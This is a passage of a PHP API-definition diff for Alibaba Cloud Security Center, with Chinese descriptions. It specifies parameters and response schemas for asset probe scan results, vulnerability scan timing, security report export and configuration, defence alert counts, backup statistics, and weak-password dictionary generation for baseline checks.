'指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'Criteria', + 'in' => 'query', + 'schema' => [ + 'description' => '设置搜索资产的条件。该参数JSON格式，输入参数时注意大小写。'."\n" + .'> 支持使用资产的实例ID、实例名称、所属VPC ID、地域、公网IP地址等条件搜索资产。', + 'type' => 'string', + 'required' => false, + 'example' => '[{\\"name\\":\\"scannedIp\\",\\"value\\":\\"192.168.2.11\\"}]', + ], + ], + [ + 'name' => 'LogicalExp', + 'in' => 'query', + 'schema' => [ + 'description' => '设置多个搜索条件间生效的逻辑关系。取值：'."\n" + ."\n" + .'- **OR**：表示多个搜索条件之间是**或**的关系。'."\n" + .'- **AND**：表示多个搜索条件之间是**与**的关系。', + 'type' => 'string', + 'required' => false, + 'example' => 'OR', + ], + ], + [ + 'name' => 'Status', + 'in' => 'query', + 'schema' => [ + 'description' => '对应探针的状态列表，多个逗号分隔。取值：'."\n" + .'- **0**：有效'."\n" + .'- **1**：已忽略'."\n" + .'- **2*：无效'."\n" + .'- **3*：过期'."\n" + .'- **4*：探针不存在', + 'type' => 'string', + 'required' => false, + 'example' => '0,1', + ], + ], + [ + 'name' => 'FoundStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描发现的起始时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1720006818000', + ], + ], + [ + 'name' => 'FoundEndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '扫描发现的结束时间。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1720006819000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A3D7C47D-3F11-57BB-90E8-E5C20C61****', + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页大小。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '69', + ], + 'Count' => [ + 'description' => '当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '9', + ], + ], + ], + 'Instances' => [ + 'description' => '实例列表。', + 'type' => 'array', + 'items' => [ + 'description' => '实例列表。', + 'type' => 'object', + 'properties' => [ + 'ValidPort' => [ + 'description' => '扫描端口。', + 'type' => 'string', + 'example' => '22', + ], + 'ProbeIntranetIp' => [ + 'description' => '关联机器实例的私网IP。', + 'type' => 'string', + 'example' => '192.168.*.*', + ], + 'Os' => [ + 'description' => '资产系统类型。取值：'."\n" + .'- **windows**'."\n" + .'- **linux**', + 'type' => 'string', + 'example' => 'Linux', + ], + 'ClientStatus' => [ + 'description' => '探针实例的客户端在线状态。取值：'."\n" + ."\n" + .'- **online**：在线，表示资产的Agent客户端状态为**开启**。'."\n" + .'- **offline**：离线，表示资产的Agent客户端状态为**关闭**。', + 'type' => 'string', + 'example' => 'online', + ], + 'ProbeInternetIp' => [ + 'description' => '关联机器实例的公网IP。', + 'type' => 'string', + 'example' => '42.121.*.*', + ], + 'LastScanTime' => [ + 'description' => '最新扫描的时间戳，单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1720006818000', + ], + 'IpSegment' => [ + 'description' => 'IP段列表。', + 'type' => 'string', + 'example' => '192.168.2.0/24', + ], + 'ProbeMachineName' => [ + 'description' => '关联机器实例的名称。', + 'type' => 'string', + 'example' => 'i-xxxx', + ], + 'ScannedIp' => [ + 'description' => '扫描到的IP。', + 'type' => 'string', + 'example' => '192.168.*.*', + ], + 'ProbeUuid' => [ + 'description' => '关联机器实例的UUID。', + 'type' => 'string', + 'example' => '11C96623-E106-59C9-866D-A6C82911****'."\n", + ], + 'IdcName' => [ + 'description' => 'IDC机房名称。', + 'type' => 'string', + 'example' => '3K机房广州', + ], + 'ScanResultId' => [ + 'description' => '扫描结果ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1231', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 69,\\n \\"Count\\": 9\\n },\\n \\"Instances\\": [\\n {\\n \\"ValidPort\\": \\"22\\",\\n \\"ProbeIntranetIp\\": \\"192.168.*.*\\",\\n \\"Os\\": \\"Linux\\",\\n \\"ClientStatus\\": \\"online\\",\\n \\"ProbeInternetIp\\": \\"42.121.*.*\\",\\n \\"LastScanTime\\": 1720006818000,\\n \\"IpSegment\\": \\"192.168.2.0/24\\",\\n \\"ProbeMachineName\\": \\"i-xxxx\\",\\n \\"ScannedIp\\": \\"192.168.*.*\\",\\n \\"ProbeUuid\\": \\"11C96623-E106-59C9-866D-A6C82911****\\\\n\\",\\n \\"IdcName\\": \\"3K机房广州\\",\\n \\"ScanResultId\\": 1231\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询IDC资产探针扫描结果列表', + ], + 'DescribeSupervisonInfo' => [ + 'summary' => '查询最新系统漏洞发现时间。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92211', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E10BAF1C-A6C5-51E2-866C-76D5922E****', + ], + 'LatestScanTime' => [ + 'description' => '系统漏洞扫描时间。时间戳，单位毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1721134553000', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"E10BAF1C-A6C5-51E2-866C-76D5922E****\\",\\n \\"LatestScanTime\\": 1721134553000\\n}","type":"json"}]', + 'title' => '查询最新系统漏洞发现时间', + ], + 'ExportCustomizeReport' => [ + 'summary' => '导出安全报告。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'get', + 'abilityTreeCode' => '92282', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '安全报告ID。'."\n" + .'> 您可以调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)获取该值。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'ExportType', + 'in' => 'query', + 'schema' => [ + 'description' => '要导出的类型。取值：'."\n" + ."\n" + .'- **HTML**'."\n" + .'- **PDF**'."\n" + ."\n" + .'> 默认值HTML，PDF仅2.0.0版本安全报告支持。', + 'type' => 'string', + 'required' => false, + 'example' => 'HTML', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'ExportId' => [ + 'description' => '导出报告任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '22', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => 'FFDFCEB3-A5EE-590A-8E70-283EBC5D****', + ], + 'DownloadUrl' => [ + 'description' => '报告下载链接。', + 'type' => 'string', + 'example' => 'https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx', + ], + 'UrlExpiredTime' => [ + 'description' => '报告下载链接过期时间戳。单位：秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1673335497000', + ], + 'ExportDate' => [ + 'description' => '报告生成时间。', + 'type' => 'string', + 'example' => '2023-01-10', + ], + 'ReportId' => [ + 'description' => '安全报告ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'FileName' => [ + 'description' => '导出生成文件名称。', + 'type' => 'string', + 'example' => 'test_xxxx.html', + ], + 'ExportStatus' => [ + 'description' => '导出任务的状态。取值：'."\n" + .'- **fail**：导出失败'."\n" + .'- **exporting**：导出中'."\n" + .'- **success**：导出成功', + 'type' => 'string', + 'example' => 'exporting', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ExportId\\": 22,\\n \\"RequestId\\": \\"FFDFCEB3-A5EE-590A-8E70-283EBC5D****\\",\\n \\"DownloadUrl\\": \\"https://xxxxxxxx.oss-cn-hangzhou-1.aliyuncs.com/xxxxx/xxxxxxxxxxxxxx?Expires=1671448125&OSSAccessKeyId=xxx\\",\\n \\"UrlExpiredTime\\": 1673335497000,\\n \\"ExportDate\\": \\"2023-01-10\\",\\n \\"ReportId\\": 123,\\n \\"FileName\\": \\"test_xxxx.html\\",\\n \\"ExportStatus\\": \\"exporting\\"\\n}","type":"json"}]', + 'title' => '导出安全报告', + ], + 'GenerateDynamicDict' => [ + 'summary' => '基线检查生成自定义弱口令字典。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'abilityTreeCode' => '92286', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '58.248.XX.XX', + ], + ], + [ + 'name' => 'Domains', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义弱口令域名。', + 'type' => 'string', + 'required' => false, + 'example' => 'https://www.aliyun.com', + ], + ], + [ + 'name' => 'Names', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义弱口令公司名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'Alibaba', + ], + ], + [ + 'name' => 'ArgKeywords', + 'in' => 'query', + 'schema' => [ + 'description' => '自定义弱口令关键字。', + 'type' => 'string', + 'required' => false, + 'example' => 'Admin', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '09969D2C-4FAD-429E-BFBF-9A60DEF8****'."\n", + ], + 'KeywordList' => [ + 'description' => '弱口令字典列表。', + 'type' => 'array', + 'items' => [ + 'description' => '生成的弱口令。', + 'type' => 'string', + 'example' => '123456.Alibaba'."\n", + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => '-101', + 'errorMessage' => '%s %s', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"09969D2C-4FAD-429E-BFBF-9A60DEF8****\\\\n\\",\\n \\"KeywordList\\": [\\n \\"123456.Alibaba\\\\n\\"\\n ]\\n}","type":"json"}]', + 'title' => '生成动态弱口令', + ], + 'GetDefenceCount' => [ + 'summary' => '查询精准防御和网页防篡改处理的告警数量。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'none', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92295', + 'abilityTreeNodes' => [ + 'FEATUREsasJODUMM', + ], + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'DefenceCountTotal' => [ + 'description' => '精准防御已处理告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TamperProof15Days' => [ + 'description' => '网页防篡改近15天已处理告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'DefenceCount15Days' => [ + 'description' => '精准防御近15天已处理告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TamperProofTotal' => [ + 'description' => '网页防篡改已处理告警数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '89AD16CC-97EE-50F3-9B12-9E28E5C8****', + ], + 'SuspiciousDealtCount' => [ + 'description' => '云安全中心安全告警已被处理的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"DefenceCountTotal\\": 1,\\n \\"TamperProof15Days\\": 2,\\n \\"DefenceCount15Days\\": 1,\\n \\"TamperProofTotal\\": 1,\\n \\"RequestId\\": \\"89AD16CC-97EE-50F3-9B12-9E28E5C8****\\",\\n \\"SuspiciousDealtCount\\": 3\\n}","type":"json"}]', + 'title' => '查询安全防御统计', + ], + 'OperationCustomizeReportChart' => [ + 'summary' => '修改安全报告统计图表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92420', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + .'>调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'ChartIds', + 'in' => 'query', + 'schema' => [ + 'description' => '报告图表配置ID，多项用逗号分隔。'."\n" + .'>调用[DescribeChartList](~~DescribeChartList~~)可以获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'CID_VUL_SUMMARY,CID_VUL_TREND,CID_VUL_OPERATION_TREND,CID_BASELINE_CHECK_SUMMARY,CID_BASELINE_CHECK_TREND,CID_BASELINE_CHECK_OPERATION_TREND', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '432B2D4E-C8D3-52E4-9F68-35E0C05F****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"432B2D4E-C8D3-52E4-9F68-35E0C05F****\\"\\n}","type":"json"}]', + 'title' => '修改安全报告统计图表', + ], + 'SaveCustomizeReportConfig' => [ + 'summary' => '保存用户自定义安全报告配置。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '92433', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + .'>调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '123', + ], + ], + [ + 'name' => 'ReportType', + 'in' => 'query', + 'schema' => [ + 'description' => '报告类型。取值：'."\n" + ."\n" + .'- **0**：日报。'."\n" + .'- **1**：周报。'."\n" + .'- **2**：月报。'."\n" + .'- **3**：自定义周期。'."\n" + .'- **4**：最近周期。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '4', + ], + ], + [ + 'name' => 'Title', + 'in' => 'query', + 'schema' => [ + 'description' => '报告名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'Daily Report', + ], + ], + [ + 'name' => 'ReportSendType', + 'in' => 'query', + 'schema' => [ + 'description' => '报告发送类型，取值：'."\n" + .'- **1**：0-6点。'."\n" + .'- **2**：6-12点。'."\n" + .'- **3**：12-18点。'."\n" + .'- **4**：18-24点。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '2', + ], + ], + [ + 'name' => 'ReportStartDate', + 'in' => 'query', + 'schema' => [ + 'description' => '报告统计开始日期。格式：yyyy-MM-dd。'."\n" + .'> ReportType为3时必填。', + 'type' => 'string', + 'required' => false, + 'example' => '2024-01-01', + ], + ], + [ + 'name' => 'ReportEndDate', + 'in' => 'query', + 'schema' => [ + 'description' => '报告统计结束日期。格式：yyyy-MM-dd。'."\n" + .'> ReportType为3时必填。', + 'type' => 'string', + 'required' => false, + 'example' => '2024-01-15', + ], + ], + [ + 'name' => 'Recipients', + 'in' => 'query', + 'schema' => [ + 'description' => '联系人邮箱，多个用英文逗号分割。', + 'type' => 'string', + 'required' => true, + 'example' => 'xxx@163.com', + ], + ], + [ + 'name' => 'ReportStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '报告状态。取值：'."\n" + .' - **0**：关闭'."\n" + .' - **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'ReportLang', + 'in' => 'query', + 'schema' => [ + 'description' => '报告语言类型，默认值**zh**。取值：'."\n" + .'- **zh**：中文。'."\n" + .'- **en**：英文。', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'SendEndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '发送结束时间，格式：HH:mm:ss。'."\n" + .'> ReportType为0/1/2/4时必填。', + 'type' => 'string', + 'required' => false, + 'example' => '10:00:00', + ], + ], + [ + 'name' => 'SendStartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '发送开始时间，格式：HH:mm:ss。'."\n" + .'> ReportType为0/1/2/4时必填。', + 'type' => 'string', + 'required' => false, + 'example' => '09:00:00', + ], + ], + [ + 'name' => 'PinnedTime', + 'in' => 'query', + 'schema' => [ + 'description' => '置顶时间。单位：毫秒。'."\n" + ."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1717430400000', + ], + ], + [ + 'name' => 'ReportDays', + 'in' => 'query', + 'schema' => [ + 'description' => '报告统计的最近天数。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '7', + ], + ], + [ + 'name' => 'SendPeriodType', + 'in' => 'query', + 'schema' => [ + 'description' => '发送周期类型，取值：'."\n" + .'- **DAY**：天。'."\n" + .'- **WEEK**：周。'."\n" + .'- **MONTH**：月。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'string', + 'required' => false, + 'example' => 'MONTH', + ], + ], + [ + 'name' => 'SendPeriodDays', + 'in' => 'query', + 'schema' => [ + 'description' => '发送周期内具体执行日期。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '12', + ], + ], + [ + 'name' => 'TargetUids', + 'in' => 'query', + 'schema' => [ + 'description' => '目标用户列表，多项用逗号分隔。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'string', + 'required' => false, + 'example' => '12,123', + ], + ], + [ + 'name' => 'GroupType', + 'in' => 'query', + 'schema' => [ + 'description' => '分组类型，取值：'."\n" + .'- **ALIYUN_RG**：阿里云资源组。'."\n" + .'- **SAS_GROUP**：云安全中心分组。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'string', + 'required' => false, + 'example' => 'SAS_GROUP', + ], + ], + [ + 'name' => 'TargetGroups', + 'in' => 'query', + 'schema' => [ + 'description' => '分组内的目标。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'string', + 'required' => false, + 'example' => '12,123', + ], + ], + [ + 'name' => 'ReportVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '安全报告版本。取值：'."\n" + .'- **1.0.0**'."\n" + .'- **2.0.0**', + 'type' => 'string', + 'required' => false, + 'example' => '2.0.0', + ], + ], + [ + 'name' => 'MemberAccountSyncFlag', + 'in' => 'query', + 'schema' => [ + 'description' => '新增账号默认是否接入。取值：'."\n" + .'- **true**：是。'."\n" + .'- **false**：否。'."\n" + .'> 仅2.0.0版本支持。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'ReportId' => [ + 'description' => '报表ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '11472B29-1A1C-5D7F-944B-7CD84319****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"ReportId\\": 123,\\n \\"RequestId\\": \\"11472B29-1A1C-5D7F-944B-7CD84319****\\"\\n}","type":"json"}]', + 'title' => '保存用户自定义安全报告配置', + ], + 'SendCustomizeReport' => [ + 'summary' => '发送安全日报到指定邮箱。仅支持发送报告周期为自定义时间段的安全报告。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92439', + 'abilityTreeNodes' => [ + 'FEATUREsasAT4UY0', + ], + ], + 'parameters' => [ + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + .'>调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '2BEA397D-1FD0-5C79-AB24-EC051158****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"2BEA397D-1FD0-5C79-AB24-EC051158****\\"\\n}","type":"json"}]', + 'title' => '发送安全报告', + ], + 'UpdateCustomizeReportStatus' => [ + 'summary' => '修改安全报告状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ReportId', + 'in' => 'query', + 'schema' => [ + 'description' => '报告ID。'."\n" + .'>调用[DescribeCustomizeReportList](~~DescribeCustomizeReportList~~)可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '123', + ], + ], + [ + 'name' => 'ReportStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '报告状态。取值：'."\n" + .' - **0**：关闭'."\n" + .' - **1**：开启', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'PinnedTime', + 'in' => 'query', + 'schema' => [ + 'description' => '置顶时间。单位：毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1717430400000', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '64C76BEE-6A47-54D9-BD91-BD3E8A1B****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"64C76BEE-6A47-54D9-BD91-BD3E8A1B****\\"\\n}","type":"json"}]', + 'title' => '修改安全报告状态', + ], + 'DescribeUniBackupStatistics' => [ + 'summary' => '查询数据库防勒索备份统计信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'TotalRestoreTaskCount' => [ + 'description' => '总恢复记录数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', + ], + 'UnprotectedDatabaseCount' => [ + 'description' => '未防护数据库实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '5', + ], + 'RestoringTaskCount' => [ + 'description' => '恢复中的任务数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'ProtectedDatabaseCount' => [ + 'description' => '已防护数据库实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'TotalRecoverableCount' => [ + 'description' => '可恢复数据库实例数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'RegionCountList' => [ + 'description' => '可配置数据库实例地域列表信息。', + 'type' => 'array', + 'items' => [ + 'description' => '可配置数据库实例地域。', + 'type' => 'object', + 'properties' => [ + 'RegionId' => [ + 'description' => '数据库实例所在的地域ID。', + 'type' => 'string', + 'example' => 'cn-shanghai', + ], + 'AutomaticCount' => [ + 'description' => '自动扫描的数据库实例数量。', + 'type' => 'string', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 